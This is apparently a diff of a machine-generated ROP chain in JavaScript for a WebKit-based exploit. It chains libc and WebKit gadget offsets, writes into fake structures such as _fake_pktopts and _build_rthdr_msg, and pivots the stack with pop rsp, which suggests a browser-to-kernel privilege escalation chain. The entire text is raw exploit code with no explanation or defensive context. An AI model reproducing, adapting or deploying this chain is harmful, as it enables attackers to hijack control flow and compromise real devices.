//mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+253976, //L4306 +ropchain+252864, //L4272 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4304: +//L4271: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4305: +//L4270: db([56, 0]); // 0x38 set_gadget(libc_base+206806,); //pop rdi -//L4306: +//L4272: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4307: +//L4273: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+254096, //L4309 +ropchain+252984, //L4275 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+254080, //L4308 +ropchain+252968, //L4274 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4308: +//L4274: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4309: +//L4275: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -31904,63 +31729,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+254192, //L4312 +ropchain+253064, //L4276 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4310: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L4312: +//L4276: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4277: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+254296, //L4315 +ropchain+253184, //L4281 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+254280, //L4314 +ropchain+253168, //L4279 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4314: +//L4279: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4315: +//L4281: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+254384, //L4317 +ropchain+253272, //L4282 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+254400, //L4318 +ropchain+253288, //L4284 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L4317: +//L4282: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4318: +//L4284: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+254472, //L4321 +ropchain+253344, //L4285 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4319: -db([3, 0]); // 0x3 -set_gadget(libc_base+792472,); //pop rcx -//L4321: +//L4285: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4286: +db([3, 0]); // 0x3 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl @@ -31971,98 +31796,98 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+254584, //L4324 +ropchain+253456, //L4288 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4322: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L4324: +//L4288: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4289: +db([24, 0]); // 0x18 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+254688, //L4327 +ropchain+253576, //L4293 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+254672, //L4326 +ropchain+253560, //L4291 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4326: +//L4291: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4327: +//L4293: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+254856, //L4330 +ropchain+253744, //L4296 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+254872, //L4331 +ropchain+253760, //L4297 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+254824, //L4328 +ropchain+253728, //L4294 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+254840, //L4329 +ropchain+253712, //L4295 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4328: +//L4295: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4329: +//L4294: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4330: +//L4296: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4331: +//L4297: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+254944, //L4332 +ropchain+253832, //L4298 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+254960, //L4333 +ropchain+253848, //L4299 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4332: +//L4298: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4333: +//L4299: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+255064, //L4334 +ropchain+253952, //L4300 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+255096, //L4336 +ropchain+253984, //L4302 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+255080, //L4335 +ropchain+253968, //L4301 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4334: +//L4300: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4335: +//L4301: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4336: +//L4302: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -32072,17 +31897,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+255192, //L4337 +ropchain+254080, //L4303 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+255208, //L4338 +ropchain+254096, //L4304 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L4337: +//L4303: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4338: +//L4304: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -32092,32 +31917,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+255320, //L4339 +ropchain+254208, //L4305 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+255304, //L4340 +ropchain+254192, //L4306 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L4340: +//L4306: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L4339: +//L4305: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+255408, //L4342 +ropchain+254296, //L4308 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+255392, //L4341 +ropchain+254280, //L4307 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4341: +//L4307: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4342: +//L4308: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -32127,17 +31952,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+255504, //L4343 +ropchain+254392, //L4309 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+255520, //L4344 +ropchain+254408, //L4310 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L4343: +//L4309: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4344: +//L4310: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -32147,17 +31972,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+255632, //L4345 +ropchain+254520, //L4311 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+255616, //L4346 +ropchain+254504, //L4312 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L4346: +//L4312: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L4345: +//L4311: db([0, 0]); // 0x0 //_fake_pktopts: set_gadget(libc_base+793877,); //pop rsi @@ -32165,31 +31990,31 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+255704, //L4348 +ropchain+254592, //L4314 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L4348: +//L4314: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+255768, //L4350 +ropchain+254656, //L4317 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L4350: +//L4317: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([272, 0]); // 0x110 +db([16, 0]); // 0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+788575 //pop rax ]); -//L4351: +//L4318: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -32198,7 +32023,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L4352: +//L4319: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -32207,7 +32032,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L4353: +//L4320: db([25, 0]); // 0x19 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -32216,7 +32041,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L4354: +//L4321: db([41, 0]); // 0x29 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -32224,77 +32049,77 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+256048, //L4357 +ropchain+254920, //L4322 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4355: +//L4322: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4323: db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L4357: -db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+256152, //L4360 +ropchain+255040, //L4327 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+256136, //L4359 +ropchain+255024, //L4325 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L4359: +//L4325: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4360: +//L4327: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+256320, //L4363 +ropchain+255208, //L4330 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+256336, //L4364 +ropchain+255224, //L4331 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+256288, //L4361 +ropchain+255192, //L4328 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+256304, //L4362 +ropchain+255176, //L4329 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4361: +//L4329: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L4362: +//L4328: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L4363: +//L4330: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4364: +//L4331: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+256432, //L4366 +ropchain+255320, //L4333 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+256416, //L4365 +ropchain+255304, //L4332 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L4365: +//L4332: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4366: +//L4333: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -32302,8 +32127,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L4368: -ropchain+256536, //L4367 +//L4335: +ropchain+255424, //L4334 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -32311,8 +32136,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+294288, //L4369 -//L4367: +ropchain+275416, //L4336 +//L4334: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -32320,2835 +32145,3101 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+255496, //L4337 +webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L4371: +//L4337: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4338: +db([256, 0]); // 0x100 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+256648, //L4373 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L4339: +ropchain+397632, //L4313 libc_base+793877 //pop rsi ]); -//L4372: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4373: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+256720, //L4375 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L4341: +ropchain+255664, //L4340 libc_base+793877 //pop rsi ]); -//L4374: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4375: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+256792, //L4377 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+811575, //pop rsp +ropchain+245440, //_build_rthdr_msg +//L4340: +libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); -//L4376: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4377: -db([0, 0]); // 0x0 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+256864, //L4379 +ropchain+255736, //L4342 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4378: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4379: +//L4342: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4343: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+256936, //L4381 +ropchain+255816, //L4346 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4380: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4381: +//L4346: db([0, 0]); // 0x0 +//L4345: set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+257008, //L4383 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4382: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4383: +//L4348: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4349: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+257080, //L4385 +ropchain+255920, //L4352 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L4384: -db([1, 0]); // 0x1 +//L4351: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4385: +//L4352: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+257152, //L4387 +ropchain+255976, //L4354 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4386: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4387: +//L4354: db([0, 0]); // 0x0 +//L4353: set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+257224, //L4389 +ropchain+256024, //L4356 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4388: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4389: +//L4356: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4357: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+257296, //L4391 +ropchain+256144, //L4361 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+256128, //L4359 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4390: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4391: +//L4359: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4361: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+257368, //L4393 +ropchain+256312, //L4364 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+256328, //L4365 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+256296, //L4362 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+256280, //L4363 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4392: -db([1, 0]); // 0x1 +//L4363: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4362: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4364: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4393: +//L4365: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+257440, //L4395 +ropchain+256400, //L4366 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+256416, //L4367 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4394: -db([1, 0]); // 0x1 +//L4366: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4395: +//L4367: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+257512, //L4397 +ropchain+256512, //L4369 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+256496, //L4368 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4396: -db([1, 0]); // 0x1 +//L4368: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4397: +//L4369: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+257584, //L4399 +ropchain+256592, //L4370 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4398: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4399: +//L4370: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4371: +db([32, 0]); // 0x20 +set_gadget(libc_base+206806,); //pop rdi +//L4372: +db([32, 0]); // 0x20 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+257656, //L4401 +ropchain+256728, //L4373 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+256760, //L4375 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+256744, //L4374 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L4400: -db([1, 0]); // 0x1 +//L4373: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4374: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4401: +//L4375: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+257728, //L4403 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4402: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4403: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+14959219, //cmp rax, rcx ; sete al +webkit_base+48555, //setl al +libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+257800, //L4405 +ropchain+256928, //L4377 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+256944, //L4378 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+256912, //L4376 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4404: -db([1, 0]); // 0x1 +//L4376: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4377: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4405: +//L4378: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+257872, //L4407 +ropchain+257048, //L4381 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+257096, //L4383 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+257080, //L4382 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L4406: -db([1, 0]); // 0x1 +//L4381: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4380: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4382: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4407: +//L4383: db([0, 0]); // 0x0 set_gadgets([ +webkit_base+11676600, //cmp rax, rsi ; sete al +libc_base+269973, //movzx eax, al +webkit_base+414627, //shl rax, 3 +libc_base+793877, //pop rsi +ropchain+257208, //L4384+8 libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+257944, //L4409 +ropchain+257200, //L4384 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+811575 //pop rsp ]); -//L4408: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4409: +//L4384: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +ropchain+257224, //L4384+24 +ropchain+257240, //L4379 +libc_base+811575, //pop rsp +ropchain+257256, //L4385 +//L4379: +libc_base+811575, //pop rsp +ropchain+264616, //L4386 +//L4385: libc_base+793877, //pop rsi -ropchain+258016, //L4411 +ropchain+257296, //L4387 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4410: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4411: +//L4387: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4388: +db([40, 0]); // 0x28 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+258088, //L4413 +ropchain+257416, //L4392 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+257400, //L4390 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4412: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4413: +//L4390: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4392: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+258160, //L4415 +ropchain+257560, //L4395 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi 